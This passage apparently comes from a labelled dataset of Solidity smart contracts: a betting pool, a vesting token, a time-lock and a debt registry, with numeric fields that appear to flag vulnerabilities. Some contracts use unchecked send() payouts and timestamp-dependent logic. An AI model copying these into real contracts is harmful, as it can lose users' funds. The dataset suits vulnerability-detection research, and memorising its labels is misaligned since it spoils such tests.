require(playerRegistered[_customerAddress]);
prizePool = prizePool.add(prizeEth);
givethPool = givethPool.add(fivePercent);
administrator.send(fivePercent);
emit Registration(_customerAddress);
}
function makePrediction(int8 _gameID, string _prediction)
public {
address _customerAddress = msg.sender;
uint predictionTime = now;
require(playerRegistered[_customerAddress]
&& !gameFinished[_gameID]
&& predictionTime < gameLocked[_gameID]);
if (_gameID > 48 && equalStrings(_prediction, "DRAW")) {
revert();
} else {
playerPredictions[_customerAddress][_gameID] = _prediction;
playerMadePrediction[_customerAddress][_gameID] = true;
emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction);
}
}
function showPlayerScores(address _participant)
view
public
returns (int8[64])
{
return playerPointArray[_participant];
}
function gameResultsLogged()
view
public
returns (int)
{
return latestGameFinished;
}
function calculateScore(address _participant)
view
public
returns (int16)
{
int16 finalScore = 0;
for (int8 i = 0; i < latestGameFinished; i++) {
uint j = uint(i);
int16 gameScore = playerPointArray[_participant][j];
finalScore = SafeMath.addint16(finalScore, gameScore);
}
return finalScore;
}
function countParticipants()
public
view
returns (int)
{
return registeredPlayers;
}
function updateScore(address _participant)
public
{
int8 lastPlayed = latestGameFinished;
require(lastPlayed > 0);
int8 lastScored = playerGamesScored[_participant];
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
for (int8 i = lastScored; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = playerStreak[_participant];
emit StartScoring(_participant, k);
if (!madePrediction[int8(k)]) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit DidNotPredict(_participant, k);
emit PlayerPointGain(_participant, k, 0, 0);
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
emit Comparison(_participant, k, playerResult, actualResult, correctGuess);
if (!correctGuess) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit PlayerPointGain(_participant, k, 0, 0);
} else {
streak = streak.add(1);
playerStreak[_participant] = streak;
if (streak >= 5) {
playerPointArray[_participant][j] = 4;
emit PlayerPointGain(_participant, k, streak, 4);
} else {
if (streak >= 3) {
playerPointArray[_participant][j] = 2;
emit PlayerPointGain(_participant, k, streak, 2);
}
else { playerPointArray[_participant][j] = 1;
emit PlayerPointGain(_participant, k, streak, 1);
}
}
}
}
}
playerGamesScored[_participant] = lastPlayed;
}
function updateAllScores()
public
{
uint allPlayers = playerList.length;
for (uint i = 0; i < allPlayers; i++) {
address _toScore = playerList[i];
emit StartAutoScoring(_toScore);
updateScore(_toScore);
}
}
function playerLastScoredGame(address _player)
public
view
returns (int8)
{
return playerGamesScored[_player];
}
function playerIsRegistered(address _player)
public
view
returns (bool)
{
return playerRegistered[_player];
}
function correctResult(int8 _gameID)
public
view
returns (string)
{
return gameResult[_gameID];
}
function playerGuess(int8 _gameID)
public
view
returns (string)
{
return playerPredictions[msg.sender][_gameID];
}
modifier isAdministrator() {
address _sender = msg.sender;
if (_sender == administrator) {
_;
} else {
revert();
}
}
function addNewGame(string _opponents, int8 _gameID)
isAdministrator
public {
worldCupGameID[_opponents] = _gameID;
}
function logResult(int8 _gameID, string _winner)
isAdministrator
public {
require((int8(0) < _gameID) && (_gameID <= 64)
&& _gameID == latestGameFinished + 1);
if (_gameID > 48 && equalStrings(_winner, "DRAW")) {
revert();
} else {
require(!gameFinished[_gameID]);
gameFinished [_gameID] = true;
gameResult [_gameID] = _winner;
latestGameFinished = _gameID;
assert(gameFinished[_gameID]);
}
}
function concludeTournament(address _first
, address _second
, address _third
, address _fourth)
isAdministrator
public
{
require(gameFinished[64]
&& playerIsRegistered(_first)
&& playerIsRegistered(_second)
&& playerIsRegistered(_third)
&& playerIsRegistered(_fourth));
givethAddress.send(givethPool);
uint tenth = prizePool.div(10);
_first.send (tenth.mul(4));
_second.send(tenth.mul(3));
_third.send (tenth.mul(2));
_fourth.send(address(this).balance);
selfdestruct(administrator);
}
function pullRipCord()
isAdministrator
public
{
uint players = playerList.length;
for (uint i = 0; i < players; i++) {
address _toRefund = playerList[i];
_toRefund.send(0.19171 ether);
emit RipcordRefund(_toRefund);
}
selfdestruct(administrator);
}
function _isCorrectBuyin(uint _buyin)
private
pure
returns (bool) {
return _buyin == 0.2018 ether;
}
function compare(string _a, string _b)
private
pure
returns (int)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function equalStrings(string _a, string _b) pure private returns (bool) {
return compare(_a, _b) == 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function addint16(int16 a, int16 b) internal pure returns (int16) {
int16 c = a + b;
assert(c >= a);
return c;
}
function addint256(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 2,056 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.23;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.23;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
pragma solidity ^0.4.23;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
pragma solidity ^0.4.23;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.23;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
pragma solidity ^0.4.23;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.23;
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.23;
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
pragma solidity ^0.4.23;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.24;
contract GotToken is CanReclaimToken, MintableToken, PausableToken, BurnableToken {
string public constant name = "GOToken";
string public constant symbol = "GOT";
uint8 public constant decimals = 18;
constructor() public {
paused = true;
}
}
pragma solidity ^0.4.24;
contract PGOMonthlyInternalVault {
using SafeMath for uint256;
using SafeERC20 for GotToken;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
uint256 public constant VESTING_DIV_RATE = 21;
uint256 public constant VESTING_INTERVAL = 30 days;
uint256 public constant VESTING_CLIFF = 90 days;
uint256 public constant VESTING_DURATION = 720 days;
GotToken public token;
uint256 public start;
uint256 public end;
uint256 public cliff;
mapping(address => Investment) public investments;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_CLIFF);
end = start.add(VESTING_DURATION);
token = GotToken(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0);
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
investments[beneficiary].released = investments[beneficiary].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function getInvestment(address beneficiary) public view returns(address, uint256, uint256) {
return (
investments[beneficiary].beneficiary,
investments[beneficiary].totalBalance,
investments[beneficiary].released
);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
return vestedAmount(beneficiary).sub(investments[beneficiary].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE);
uint256 time = block.timestamp.sub(cliff);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance);
vested = vested.add(vestedToSum);
}
if (block.timestamp >= end) {
vested = investments[beneficiary].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.24;
contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault {
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[beneficiary].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3);
uint256 totalBalance = investments[beneficiary].totalBalance;
uint256 lockedBalance = totalBalance.sub(unlockedStartBalance);
uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE);
uint256 daysToSkip = 90 days;
uint256 time = block.timestamp.sub(start).sub(daysToSkip);
uint256 elapsedOffsets = time.div(VESTING_INTERVAL);
vested = vested.add(elapsedOffsets.mul(monthlyBalance));
}
if (block.timestamp >= end) {
vested = investments[beneficiary].totalBalance;
}
return vested;
}
} | 1 | 4,090 |
pragma solidity ^0.4.11;
contract hodlEthereum {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1546502555;
function() payable {
hodlers[msg.sender] += msg.value;
Hodl(msg.sender, msg.value);
}
function party() {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
Party(msg.sender, value);
}
} | 1 | 5,425 |
pragma solidity ^0.4.18;
pragma solidity 0.4.18;
contract PermissionEvents {
event Authorized(address indexed agent, string callingContext);
event AuthorizationRevoked(address indexed agent, string callingContext);
}
library PermissionsLib {
event Authorized(address indexed agent, string callingContext);
event AuthorizationRevoked(address indexed agent, string callingContext);
struct Permissions {
mapping (address => bool) authorized;
mapping (address => uint) agentToIndex;
address[] authorizedAgents;
}
function authorize(
Permissions storage self,
address agent,
string callingContext
)
internal
{
require(isNotAuthorized(self, agent));
self.authorized[agent] = true;
self.authorizedAgents.push(agent);
self.agentToIndex[agent] = self.authorizedAgents.length - 1;
Authorized(agent, callingContext);
}
function revokeAuthorization(
Permissions storage self,
address agent,
string callingContext
)
internal
{
require(isAuthorized(self, agent));
uint indexOfAgentToRevoke = self.agentToIndex[agent];
uint indexOfAgentToMove = self.authorizedAgents.length - 1;
address agentToMove = self.authorizedAgents[indexOfAgentToMove];
delete self.authorized[agent];
self.authorizedAgents[indexOfAgentToRevoke] = agentToMove;
self.agentToIndex[agentToMove] = indexOfAgentToRevoke;
delete self.agentToIndex[agent];
delete self.authorizedAgents[indexOfAgentToMove];
self.authorizedAgents.length -= 1;
AuthorizationRevoked(agent, callingContext);
}
function isAuthorized(Permissions storage self, address agent)
internal
view
returns (bool)
{
return self.authorized[agent];
}
function isNotAuthorized(Permissions storage self, address agent)
internal
view
returns (bool)
{
return !isAuthorized(self, agent);
}
function getAuthorizedAgents(Permissions storage self)
internal
view
returns (address[])
{
return self.authorizedAgents;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity 0.4.18;
contract DebtRegistry is Pausable, PermissionEvents {
using SafeMath for uint;
using PermissionsLib for PermissionsLib.Permissions;
struct Entry {
address version;
address beneficiary;
address underwriter;
uint underwriterRiskRating;
address termsContract;
bytes32 termsContractParameters;
uint issuanceBlockTimestamp;
}
mapping (bytes32 => Entry) internal registry;
mapping (address => bytes32[]) internal debtorToDebts;
PermissionsLib.Permissions internal entryInsertPermissions;
PermissionsLib.Permissions internal entryEditPermissions;
string public constant INSERT_CONTEXT = "debt-registry-insert";
string public constant EDIT_CONTEXT = "debt-registry-edit";
event LogInsertEntry(
bytes32 indexed agreementId,
address indexed beneficiary,
address indexed underwriter,
uint underwriterRiskRating,
address termsContract,
bytes32 termsContractParameters
);
event LogModifyEntryBeneficiary(
bytes32 indexed agreementId,
address indexed previousBeneficiary,
address indexed newBeneficiary
);
modifier onlyAuthorizedToInsert() {
require(entryInsertPermissions.isAuthorized(msg.sender));
_;
}
modifier onlyAuthorizedToEdit() {
require(entryEditPermissions.isAuthorized(msg.sender));
_;
}
modifier onlyExtantEntry(bytes32 agreementId) {
require(doesEntryExist(agreementId));
_;
}
modifier nonNullBeneficiary(address beneficiary) {
require(beneficiary != address(0));
_;
}
function doesEntryExist(bytes32 agreementId)
public
view
returns (bool exists)
{
return registry[agreementId].beneficiary != address(0);
}
function insert(
address _version,
address _beneficiary,
address _debtor,
address _underwriter,
uint _underwriterRiskRating,
address _termsContract,
bytes32 _termsContractParameters,
uint _salt
)
public
onlyAuthorizedToInsert
whenNotPaused
nonNullBeneficiary(_beneficiary)
returns (bytes32 _agreementId)
{
Entry memory entry = Entry(
_version,
_beneficiary,
_underwriter,
_underwriterRiskRating,
_termsContract,
_termsContractParameters,
block.timestamp
);
bytes32 agreementId = _getAgreementId(entry, _debtor, _salt);
require(registry[agreementId].beneficiary == address(0));
registry[agreementId] = entry;
debtorToDebts[_debtor].push(agreementId);
LogInsertEntry(
agreementId,
entry.beneficiary,
entry.underwriter,
entry.underwriterRiskRating,
entry.termsContract,
entry.termsContractParameters
);
return agreementId;
}
function modifyBeneficiary(bytes32 agreementId, address newBeneficiary)
public
onlyAuthorizedToEdit
whenNotPaused
onlyExtantEntry(agreementId)
nonNullBeneficiary(newBeneficiary)
{
address previousBeneficiary = registry[agreementId].beneficiary;
registry[agreementId].beneficiary = newBeneficiary;
LogModifyEntryBeneficiary(
agreementId,
previousBeneficiary,
newBeneficiary
);
}
function addAuthorizedInsertAgent(address agent)
public
onlyOwner
{
entryInsertPermissions.authorize(agent, INSERT_CONTEXT);
}
function addAuthorizedEditAgent(address agent)
public
onlyOwner
{
entryEditPermissions.authorize(agent, EDIT_CONTEXT);
}
function revokeInsertAgentAuthorization(address agent)
public
onlyOwner
{
entryInsertPermissions.revokeAuthorization(agent, INSERT_CONTEXT);
}
function revokeEditAgentAuthorization(address agent)
public
onlyOwner
{
entryEditPermissions.revokeAuthorization(agent, EDIT_CONTEXT);
}
function get(bytes32 agreementId)
public
view
returns(address, address, address, uint, address, bytes32, uint)
{
return (
registry[agreementId].version,
registry[agreementId].beneficiary,
registry[agreementId].underwriter,
registry[agreementId].underwriterRiskRating,
registry[agreementId].termsContract,
registry[agreementId].termsContractParameters,
registry[agreementId].issuanceBlockTimestamp
);
}
function getBeneficiary(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns(address)
{
return registry[agreementId].beneficiary;
}
function getTermsContract(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (address)
{
return registry[agreementId].termsContract;
}
function getTermsContractParameters(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (bytes32)
{
return registry[agreementId].termsContractParameters;
}
function getTerms(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns(address, bytes32)
{
return (
registry[agreementId].termsContract,
registry[agreementId].termsContractParameters
);
}
function getIssuanceBlockTimestamp(bytes32 agreementId)
public
view
onlyExtantEntry(agreementId)
returns (uint timestamp)
{
return registry[agreementId].issuanceBlockTimestamp;
}
function getAuthorizedInsertAgents()
public
view
returns(address[])
{
return entryInsertPermissions.getAuthorizedAgents();
}
function getAuthorizedEditAgents()
public
view
returns(address[])
{
return entryEditPermissions.getAuthorizedAgents();
}
function getDebtorsDebts(address debtor)
public
view
returns(bytes32[])
{
return debtorToDebts[debtor];
}
function _getAgreementId(Entry _entry, address _debtor, uint _salt)
internal
pure
returns(bytes32)
{
return keccak256(
_entry.version,
_debtor,
_entry.underwriter,
_entry.underwriterRiskRating,
_entry.termsContract,
_entry.termsContractParameters,
_salt
);
}
}
pragma solidity 0.4.18;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract DeprecatedERC721 is ERC721 {
function takeOwnership(uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function tokensOf(address _owner) public view returns (uint256[]);
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public canTransfer(_tokenId) {
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from, address _to, uint256 _tokenId, bytes _data) internal returns (bool) {
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping (address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
